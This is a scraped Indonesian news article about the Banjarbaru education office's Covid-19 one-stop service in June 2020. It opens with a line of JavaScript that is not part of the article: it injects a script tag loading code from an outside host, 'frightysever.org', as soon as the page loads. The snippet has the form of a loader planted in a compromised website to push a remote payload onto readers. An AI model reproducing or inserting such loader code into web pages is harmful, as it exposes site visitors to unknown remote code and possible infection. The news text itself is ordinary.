(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Upaya memberikan layanan maksimal dan aman dalam pencegahan penyebaran Covid-19, Dinas Pendidikan (Disdik) Kota Banjarbaru mulai menerapkan layanan satu pintu dengan memprioritaskan standar protokol Covid-19.
Sebuah gedung berada di samping kantor Disdik Kota Banjarbaru disulap menjadi pusat pelayanan. Seluruh jenis layanan, baik itu Bidang Pembinaan PAUD dan Dikmas, Bidang Pembinaan SD, Bidang Pembinaan SMP, hingga Bidang Pembinaan Pendidik dan Tenaga Kependidikan difasilitasi dalam ruang aula ini.
Dari pantauan Kanalkalimantan.com, Senin (29/6/2020) siang, untuk memasuki gedung ini, bagi masyarakat umum maupun pihak sekolah diharuskan lmenjalani pemeriksaan suhu tubuh oleh petugas. Selanjutnya, mereka diwajibkan mencuci tangan serta harus menggunakan masker.
Kepala Disdik Kota Banjarbaru Muhammad Aswan mengatakan, layanan dengan menerapkan protokol kesehatan ini memang sengaja diperketat. Mengingat, sudah adanya beberapa temuan kasus Covid-19 di sejumlah Satuan Kerja Perangkat Daerah (SKPD) yang memberikan layanan publik.
“Dari seluruh SKPD, Disdik yang paling berpotensi terjadi penularan karena layanan di sini cukup banyak dikunjungi. Untuk itu, mulai hari ini kita mulai menerapkan layanan satu pintu dengan menerapkan protokol kesehatan ketat,” katanya.
Jika diakumulasikan, kunjungan ke layanan Disdik Kota Banjarbaru bisa mencapai 100 orang untuk satu harinya. Maka tak heran, volume pengunjung ini pun dibatasi dengan siasat pembagian secara berkelompok.
Teknisnya, untuk masing-masing bidang pelayanan hanya menyediakan 4 kursi bagi para pengunjung. Sedangkan, bagi pengunjung lainnya baru diperbolehkan masuk ke gedung pelayanan ketika 4 kursi tersebut telah kembali kosong.
Ditegaskan Aswan, jika ada pengunjung tak menaati aturan protokol yang telah ditetapkan, maka pihaknya melarang pengunjung tersebut masuk. Ia juga mengungkapkan bahwa dalam beberapa hari kedepan fasilitas dan sarana di pelayanan akan lebih dilengkapi standar protokol kesehatan.
“Kita akan segera pasang sekat pembatas di meja pelayanan, sehingga ada batasan kontak antara pegawai dan pengunjung. Alat Pelindung Diri (APD) pegawai kita juga akan lebih dilengkapi, seperti face shield -pelindung wajah-. Inilah bentuk pelayanan kita menjelang fase New Normal,” tuntasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan resmi melepas kafilah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar apel peringatan Hari Otonomi Daerah… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin Tengah melakukan penyelidikan proses… Read More
KANALKALIMANTAN.COM - Komisi Pemilihan Umum (KPU) membuka perekrutan Panitia Pemilihan Kecamatan (PPK) Pemilihan Kepala Daerah… Read More
This website uses cookies.